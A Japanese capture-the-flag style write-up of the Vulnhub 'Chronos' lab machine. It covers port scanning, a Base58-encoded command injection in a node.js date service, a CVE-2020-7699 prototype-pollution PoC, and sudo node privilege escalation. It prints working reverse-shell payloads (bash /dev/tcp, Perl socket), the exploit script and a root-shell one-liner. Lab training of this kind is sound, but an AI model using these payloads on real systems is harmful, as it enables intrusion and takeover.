見出し画像

Writeup: Vulnhub Chronos 攻略

Vulnhub Chronos の攻略メモ。
難易度はmedium 。少し手強かったが、いろいろ試して攻略方法を探るプロセスを楽しむことができた。

1.ダウンロード

この仮想マシンは下記のリンクからダウンロードできる。
サイズは1.7GB と平均的な大きさ。

Virtual Box にインポートした後、メモリ割り当ては1GB 、ネットワークをホストオンリーアダプタに設定して起動する。

Chronos 起動画面

2.攻略

1)ポートスキャン

まずはIPアドレスの確認。nmap  -sP で Pingスキャンを行う。
ターゲットのIPアドレスは 192.168.56.130 であることが判った。

Pingスキャン

このアドレスに対してポートスキャンを行う。
22/tcp で OpenSSH , 80/tcp で Apache,  8000/tcp で node.js が動いている。

ポートスキャン

2)脆弱性探し

とりあえず、80/tcp にブラウザでアクセスしてみる。
"Chronos - Date & Time" というタイトルのみ表示されている。

80/tcp に接続直後

あまりにシンプルな画面なので、ソースを見てみるとページをロードした際に loadDoc() という関数を実行するようになっているようだ。
この関数は <script>タグに書かれているに違いない。

ページソース

スクリプトを整形してみた。確かに loadDoc() 関数が定義してあり、内部でXMLHttpRequest() が使用されている。

function loadDoc() {
var _0x17df92 = _0x432d,
_0x1cff55 = _0x17df92(0x8f),
_0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(0x89)] = function() {
var _0x146f5d = _0x17df92;
this[_0x146f5d(0x85)] == 0x4 && this[_0x146f5d(0x8c)] == 0xc8 && (document_0x146f5d(0x91)[_0x146f5d(0x92)] = this[_0x146f5d(0x86)]);
}, _0x2beb35[_0x17df92(0x81)]('GET', _0x17df92(0x8a), !![]), _0x2beb35['setRequestHeader'](_0x17df92(0x8b), _0x1cff55), _0x2beb35'send';
}

つまり、ページをロードした際にこのスクリプトからどこかに HTTPでリクエストが飛んでいることになる。

ブラウザの開発者ツールで状況をチェックしてみると、以下のエラーが出ていることに気づいた。

どうやらスクリプトから接続しようとしていたのは、http://chronos.local:8000/  で名前解決に失敗して接続できていないようだ。

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL. (Reason: CORS request did not succeed). Status code: (null).

開発者ツールで確認したエラーの内容

というわけで、名前解決ができるよう、/etc/hosts にエントリを追加する。

hosts へエントリ追加

ページを再ロードしてみると、タイトルの下に日付と時刻が表示された。
これが本来の表示なのだろう。。

さて、開発者ツールに戻って再度ブラウザの通信をチェックしてみる。
スクリプトが発行しているリクエスト(下図の赤枠部分)に注目した。
format= の後ろにつけるパラメータに何か仕掛けがありそうだ。

format= の値を変えて挙動を調べれば手がかりがつかめるかもしれない。
空文字( ""  )で試してみると Base58になっていない旨のエラーが表示された。
つまり、format= … で渡す文字列は Base58 でエンコードしておく必要がある、ということになる

Base58エンコードであることが判ったので、スクリプトから送信されていた文字列をデコードしてみよう。

文字のエンコードやデコードには CyberChef という便利なツールがある。
様々な方式に対応していて、マウスのクリックひとつで簡単に変換できる。

デコード結果は  '+Today is %A, %B %d, %Y %H:%M:%S.' だった。
これは、date コマンドの引数とよく似た文字列になっている。

CyberChef

つまり、http://chronos.local:8000 というサイトは format= で渡された引数を Base58 でデコード後、そのまま  date コマンドに渡している可能性があるということになる。

検証してみよう。例えば --version  という文字列を渡してみる。
Base58 だと aMUUUBF5MfE5 になる。

結果は「Permission Denied」。あらら、失敗だ。。
スクリプトからリクエストする場合と、ブラウザから直接リクエストする場合で何か差分があるに違いない。

ブラウザの開発者ツールでリクエスト時のヘッダを見てみると、スクリプトからアクセスした場合は、 UserAgent が ”Chronos” となっている。
サイト側でこれをチェックして、アクセス制限しているのかもしれない。

UserAgentに "Chronos"を指定し、curl で再度アクセスしてみる。
想定通り、dateコマンドのバージョン情報が表示された。
やはり UserAgentのみチェックしていたようだ。

結局のところ、 "date  [ formatで入力された文字列 ] " が実行されているようなので、";" + [コマンド] の形で文字列を渡せば、任意のコマンドが実行できるかもしれない。

今度は format に渡す文字列を ";ls" に変更して試してみる。これはBase58 に直すと Lxfc だ。想定通り、サーバ側で ls コマンドが実行できた。

結局、8000/tcp で動作するWebサイトに コマンドインジェクションの脆弱性があることが判った。

3)侵入

";" 以後をリバースシェル用のコマンドに変更すれば、サーバに侵入できることになる。例えば  "; bash -i >& /dev/tcp/192.168.56.101 0>&1"  でどうだろう?

結果はNGだった。 "Something went wrong" だそうだ。
コマンドの文字列でフィルタしているに違いない。

リバースシェル用のコマンドは前述したもの以外にも沢山存在する。
GitHub には便利な一覧があるので、これを適当に試すとしよう。
下記のリンクから参照できる。

幾つか試してみて、Perl を使った下記のペイロードがうまく機能した。

;perl -e 'use Socket;$i="192.168.56.101";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

まず、このペイロードを Base58 に変換する。

AFP9WeNxBDcjY7tuT6Bx8Hi6oNb7Dz7cJ7kHyqA3A7Yo24ooisa73fM6AbYHMtgX3YDHnSwhE1YCyWbYiB1EFG9GxuKNQ81nPzVvWVLfZQ8Bh8GoEFHBRHYa2Y4eKQNheC9jJUEfgCXVMm3uqGWpAJ1CQCMnDCxQFVodKTeEPD9ZwVRVNJHXKWrBji7EXrYyboDiAjsD9MwCR5UB6os5syXShJ52J7jqhDpvCSc4CgbPSaDvmkwJdsvQhigcfGfdz8yRpkrFKhwVYP8bA11W9cLwReZMx2SaZv5354J7RZX5YL1hE6

次に、攻撃側のマシンで 4444/tcp での接続を待ち受ける。

最後に、上記のペイロードを使用してWebサイトにリクエストを投げる。

サーバ側のシェルに接続し、コマンドを入力できる状態になった。
侵入成功である。

リバースシェル接続

4)権限昇格

まず、ターミナルを設定してコマンド入力をし易くする。

ターミナルの設定

ユーザーをチェックしてみると、imera というユーザーが登録されていて、このユーザー経由で root 権限を獲ることができそうだ。

 suid が設定されたファイルや cron 等チェックしてみたが、特にめぼしいものは見当たらなかったので、 imera に権限昇格することを目標にする。

imera の権限で動作しているプロセスを探してみる。
node.js でWebサーバ(server.js)を起動しているらしい。。

imeraの権限で動くプロセス

server.js をチェックしてみる。
 localhost (127.0.0.1 ) の 8080/tcp で稼働するWebサーバであることが判る。

接続してみたが、"Comming Soon…" と表示するだけのようだ。

node.js での Webサーバ 構築は通常、npmで必要なパッケージを追加して構築される。脆弱なパッケージが使われていないだろうか?

server.js と同じディレクトリにある package.json をチェックしてみよう。
パッケージのバージョン番号から何か判るかもしれない。。

調べてみると、express-fileupload 1.1.7 には 任意のファイルがアップロードできてしまう脆弱性(CVE-2020-7699 )があり、GitHubに PoCが公開されていることが判った。リンクは下記の通り。

Webサイトは imera の権限で実行されているので、上記で公開されているスクリプトを使ってリバースシェルを実行すれば、imera の権限に昇格できることになる。

まず、下記のスクリプトを PoC.py という名前で攻撃側マシンに保存する。

import requests
target_url = 'http://localhost:8080'
exec_command = 'bash -c "bash -i >& /dev/tcp/192.168.56.101/5555 0>&1"'
to_cause_prototype_pollution = {
"proto.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
requests.post(target_url, files=to_cause_prototype_pollution)
requests.get(target_url)

次に攻撃側のマシンで 簡易Webサーバを立てる

そして、侵入したサーバ側で PoC.py をダウンロードする。

最後に攻撃側マシンで 5555/tcp で待ち受けすれば準備完了である。

サーバー側で PoC.py を実行する。

想定どおり、攻撃側マシンに シェルが返された。
これで imera に権限昇格することができた。

imeraの権限に昇格(リバースシェル)

imera の権限を調べてみる。
パスワード無しで node コマンドをroot権限で実行できることが判った。

imera の権限(sudo -l )

node コマンドでシェルを起動できるだろうか?
これを調べるには GTFOBins という便利なサイトがある。

コマンドは以下の通り。JavaScriptでシェルを起動できるようだ。

node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

試してみると、root権限でシェルを起動できた。

root権限奪取

フラグを見てみよう。
フラグ(/root/root.txt)は base64でエンコードされていた。

rootフラグ

デコードしてみると、”apopse siopi mazeuoume oneira” という文字列。

Google先生によると、これはギリシャ語で訳は「今夜は静かに夢を集める」だそうだ。。今日はゆっくり休むことにしよう。

今回はこれでおしまい。
めでたし、めでたし。

この記事が気に入ったらサポートをしてみませんか?